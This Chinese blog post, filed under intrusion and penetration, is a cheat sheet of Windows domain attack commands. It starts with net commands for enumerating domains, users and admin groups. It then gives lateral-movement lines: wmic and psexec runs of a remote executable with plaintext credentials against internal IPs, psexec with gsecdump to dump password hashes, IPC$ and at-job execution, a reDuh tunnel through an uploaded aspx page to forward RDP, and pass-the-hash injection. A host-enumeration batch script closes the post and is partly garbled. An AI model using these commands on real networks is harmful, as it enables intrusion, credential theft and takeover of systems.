**域渗透中常用命令**

2011-12-20 13:16:30| 分类： [入侵渗透](http://f4u5t.blog.163.com/blog/#m=0&t=1&c=fks_087066083094084069080085085095093085082074083084084066) | 标签： |字号大中小 订阅

常用命令

net view  
查看同一域/工作组的计算机列表

net view /domain  
查看域/工作组列表

net view /domain:Secwing  
查看Secwing域中 计算机列表

net group /domain  
查看所在域的组

net user /domain  
查看所在域用户

net user /domain zerosoul 12345678  
修改域用户密码，需要域管理员权限，或者Ctrl+Alt+Del点击修改则不需要域管理员权限

net localgroup administrators SECWING\zerosoul /add  
域Users组用户添加到本地Administrators组，需要本地管理员或域管理员在本机登陆域后进行

下面的命令 只能用于 域控制器:

net group "Domain controllers"  
查看域控制器(如果有多台)

net group  
查看域的组

net group "domain admins"  
查看域管理员

net group "domain users"  
查看域用户

PS:打开配置域控制器向导的命令  
dcpromo

psexec /accepteula 绕过第一次验证窗口  
mstsc/admin 解决hash无法抓出问题  
wmic /node:172.16.19.96 /user:ABIMAQ\Administrator /password:k78m90 process call create c:\kav\2009.exe  
psexec.exe -s -u administrator -p k78m90 \\172.16.16.2 -c c:\kav\2009.exe 拷贝文件并且执行  
psexec.exe -s -u administrator -p km3h7i \\172.16.16.2 -c c:\kav\gsecdump.exe -u 抓取hash  
net use \\172.16.16.2\IPC$ "k78m90" /user:"admintitrator"  
net use \\172.16.16.2\IPC$ "k78m90" /user:"aABIMAQ\Administrator"  
net time \\172.16.16.2  
at \\172.16.16.2 13:50 2009.exe

java reDuhClient fdc1.cnhan.com http 80 /admin/reduh.aspx reduh连接命令  
[createTunnel]1234:127.0.0.1:3389 端口转向命令

iam-alt -h user-hash 这样hash就被注入了  
whosthere-alt.exe 来查看是否被注入成功。

============================domain.bat=======================  
@echo off  
setlocal ENABLEDELAYEDEXPANSION  
@FOR /F "usebackq delims=, " %%J IN (`net view /domain ^|find "OK!!!" /v ^|find "The command

completed successfully." /v ^|find "OK!!!" /v ^|find "--" /v ^|find "Domain" /v ^|find "" /v

^|find "コマンドは正常に終了しました" /v /i`) do (  
@echo =====domain:%%J========  
@FOR /F "usebackq eol=; delims=, " %%i in (`net view /domain:%%J ^|findstr "\\"`) DO (  
@FOR /F "usebackq eol=; tokens=1,2,3\* delims=\\" %%a in (`echo %%i`) do (  
@FOR /F "tokens=1,2,3,4\* usebackq delims=: " %%K IN ( -a -n 1 -w 100 %%a ^|findstr

"Pinging"`) do (  
@echo [\\%%L](http://file/%25%25L/) %%M  
)  
)  
)  
)  
echo %0